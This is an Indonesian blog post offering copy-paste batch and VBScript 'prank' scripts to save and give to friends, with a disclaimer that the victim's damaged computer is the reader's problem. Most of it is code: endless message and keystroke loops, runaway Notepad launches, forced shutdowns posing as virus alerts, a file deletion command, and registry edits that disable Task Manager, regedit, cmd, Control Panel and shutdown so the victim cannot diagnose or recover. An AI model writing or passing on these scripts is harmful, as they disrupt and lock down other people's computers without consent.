Hay,sobat Blogger nah hari ini saya SYARIF HIDAYAT akan bagi-bagi ilmu yang saya tau nih Tentang NOTEPAD dan Rahasia Dibalik Notepad itu sendiri dan ini hanya untuk iseng-iseng aja ya.........
Tapi kalau anda ingin ngerjain teman anda silahkan COPAS aja kata yang berwarma Merah dibawah ini lalu SAVE dengan format yang ditentukan/sesuai dengan ekstensinya.
Dan kalau komputer/laptop teman lo rusak tanggung sendiri akibatnya Yaaaa........
1.message yang nongol melulu
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
2.bikin shutdown+message
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT
3.Mainin Caps Lock button
Code:
Set wshShell
=wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs
4.buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs
5.bikin vbscript nongol mlulu
Code:
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running
6.teken tombol backspace mlulu
Code:
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs
7.otomatis ngetik "lu jelek banget sih" di notepad/word
Code:
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
save namafile.vbs
8.buka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
9.otomatis buka notepad lalu ngetik apa yg lo mau
Code:
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
save namafile.vbs
10.MEMBUAT KUIS
Code:
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save nama file .bat
1. Membuka dan menutup CD/DVD Komputer
Copy script dibawah ini dan paste di notepad anda.
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan format *.vbs.
Lalu Buka File Tersebut
2. Menulis otomatis di notepad
Copy script dibawah ini dan paste di notepad anda.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda”
loop
Simpan dengan format *.vbs.
Lalu Buka File Tersebut
3. Membuat Pesan muncul berulang – ulang
Copy script dibawah ini dan paste di notepad anda.
@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN
Simpan dengan format *.bat.
Lalu Buka File Tersebut
4. Membuat Komputer Shutdown dengan muncul pesan.
Copy script dibawah ini dan paste di notepad anda.
@echo off
msg * Hahahahhaha
shutdown -s -c “Komputer anda mati”
Simpan dengan format *.bat.
Lalu Buka File Tersebut
5. Membuat Tombol Capslock terus menyala
Copy script dibawah ini dan paste di notepad anda.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Simpan dengan format *.vbs.
Lalu Buka File Tersebut
6. Membuat terus – menerus menekan tombol “backspace”
Copy script dibawah ini dan paste di notepad anda.
MsgBox “Kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Simpan dengan format *.vbs.
Lalu Buka File Tersebut
7. Membuka notepad Terus – menerus
Copy script dibawah ini dan paste di notepad anda.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan format *.bat.
Lalu Buka File Tersebut
8.Meyatakan Perasaan Cinta Via
Notepad
Copy script dibawah ini dan paste di notepad anda.
@ECHO off
:Begin
msg * Hai...:)
msg * apa kabar...?
msg * aku ingin mengungkapkan sesuatu sama
kamu nih!
msg * tapi aku malu......
msg * sebenernya aku udah ingin
mengungkapkan ini dari dulu....
msg * perasaan ini muncul ketika aku
meminjam komputermu....
msg * perasaan bahwa sebenernya aku....
msg * bahwa sebenernya aku.....
msg * bahwa aku....
msg * akulah yang sudah ngejahilin
komputermu.....muuuaccch....
GOTO BEGIN
Simpan dengan format .bat
9.Membalik klik kanan Mouse Menjadi
Klik Kiri
Copy script dibawah ini dan paste di notepad anda.
@echo off
RunDLL32 User32 ,SwapMouseButton
Simpan dengan format .bat
10.Mengetahui Jenis Kelamin komputer
Copy script dibawah ini dan paste di notepad anda.
dim sapi,msg
msg="hello good person"
set sapi=createobject
("sapi.spvoice")
sapi. speak msg
Simpan dengan format .vbs
Tambahan kalo misal anda pengen
ganti kata katanya sesuai keninginan, ( komputer berbicara sesuai keinginan
kita) anda tinggal ganti scriptnya menjadi seperti ini
dim sapi,msg
msg=inputbox ("anda ingin saya berbicara apa???")
set sapi=createobject
("sapi.spvoice")
sapi. speak msg
11.Misteri Notepad - Membuat Notepad
Hantu !!!
Copy script dibawah ini dan paste di notepad anda.
WScript.Sleep
180
WScript.Sleep
100
Set
WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run
"notepad"
WScript.Sleep
100
WshShell.AppActivate
"notepad"
WScript.Sleep
100
WshShell.SendKeys
"H"
WScript.Sleep
100
WshShell.SendKeys
"E"
WScript.Sleep
100
WshShell.SendKeys
"L"
WScript.Sleep
100
WshShell.SendKeys
"L"
WScript.Sleep
100
WshShell.SendKeys
"O"
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WshShell.SendKeys
"{ENTER}"
WScript.Sleep
100
WshShell.SendKeys
"A"
WScript.Sleep
100
WshShell.SendKeys
"P"
WScript.Sleep
100
WshShell.SendKeys
"A "
WScript.Sleep
100
WshShell.SendKeys
"KA"
WScript.Sleep
100
WshShell.SendKeys
"BAR"
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"?"
WshShell.SendKeys
"{ENTER}"
WScript.Sleep
100
WshShell.SendKeys
"K"
WScript.Sleep
100
WshShell.SendKeys
"O"
WScript.Sleep
100
WshShell.SendKeys
"M"
WScript.Sleep
100
WshShell.SendKeys
"P"
WScript.Sleep
100
WshShell.SendKeys
"U"
WScript.Sleep
100
WshShell.SendKeys
"T"
WScript.Sleep
100
WshShell.SendKeys
"E"
WScript.Sleep
100
WshShell.SendKeys
"R "
WScript.Sleep
100
WshShell.SendKeys
"I"
WScript.Sleep
100
WshShell.SendKeys
"N"
WScript.Sleep
100
WshShell.SendKeys
"I "
WScript.Sleep
300
WshShell.SendKeys
"TELAH "
WScript.Sleep
300
WshShell.SendKeys
"DI HACK "
WScript.Sleep
300
WshShell.SendKeys
"OLEH "
WScript.Sleep
300
WshShell.SendKeys
"HANTU CAKEP"
WshShell.SendKeys
"{ENTER}"
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"MINTA "
WScript.Sleep
100
WshShell.SendKeys
"NO "
WScript.Sleep
100
WshShell.SendKeys
"HP "
WScript.Sleep
100
WshShell.SendKeys
"DONG"
WScript.Sleep
100
WshShell.SendKeys
"."
WScript.Sleep
100
WshShell.SendKeys
"."
WshShell.SendKeys
"{ENTER}"
Dan kalau anda ingin membuka kalimat
hantu tersebut di cmd anda tinggal ubah kalimat yang berwarna hijau dengan cmd.
Simpan dengan format .vbs
1. Disable
regedit
Disable regedit nya terlebih
dahulu, biar nanti regedit nya ngak bisa kebuka
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableRegedit /t REG_DWORD /d 1 /f
Save as beri nama disbleregedit.bat
2. Disable
shutdown komputer
Biar komputer nya terus hidup
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t
REG_DWORD /d 1 /f
Save as beri nama ngak ada mati
manual.bat
3. Disable
log of komputer
Buat log of komputer mati
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
StartMenuLogoff /t REG_DWORD /d 1 /f
Save as beri nama disable logoff.bat
4. Disable cmd komputer
Agar cmd ngak jalan, biar attrib
jadi berantakan
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Policies\Microsoft\Windows\System DisableCMD /t REG_DWORD /d 2 /f
Save as beri nama disable cmd.bat
5. Hilangkan
run pada star menu
Mehilangkan fungsi run di star menu
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t
REG_DWORD /d 1 /f
Save as beri nama norun.bat
6. Hilangkan
search pada star menu
Hialang kan mesin pencarian windows
pada star menu
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD
/d 1 /f
Save as beri nama nofind.bat
7. Disable
task manager
Sangat perlu , karena task manager
ini di gunakan untuk mengetahui apa-apa saja proses yang sedang berjalan pada
komputer kita
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD /d 1 /f
Save as beri nama notaskmanager.bat
8. Hilangkan
folder option pada komputer
Agar ngak bisa nyari dimana letak
data yang kita buat
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFolderOptions /t REG_DWORD /d 1 /f
Save as beri nama nofolderoption.bat
9. Menyembunyikan Help And Support
Kalau yang suka cai tau apa masalah
komputer nya, pasti cari tau lewat panduan ini jadi kita disable juga seperti
yang lainya Scriptnya kayak gini,
tulis di notepad ya atau di copy
paste aja
@Echo off
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
/v NoSMHelp
/t REG_DWORD /d 1 /f
Save as beri nama tidak ada
bantuan.bat
10. Menyembunyikan contol panel pada komputer
Scriptnya kayak gini, tulis di
notepad ya atau di copy paste aja
@Echo off
REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel
/t REG_DWORD /d 1 /f
Save as beri nama tidak
disablecontrolpanel.bat
1. Iseng Dengan Tombol Enter Terus Menerus
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan
keteman Anda
2. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I
am good thanks!”
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
3. Iseng Dengan Backspace
MsgBox “Maaf, Anda Harus
Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
4. Iseng Dengan Membuka Calculator
Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Kemudian save dengan
“SUKASUKAANDA.BAT” & Berikan keteman Anda
5. Iseng Dengan Keyboard
Set wshShell =
wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
6. Iseng Dengan Shutdown Computer
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian
save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
7. Iseng Dengan Membuka Calculator Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Kemudian
save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
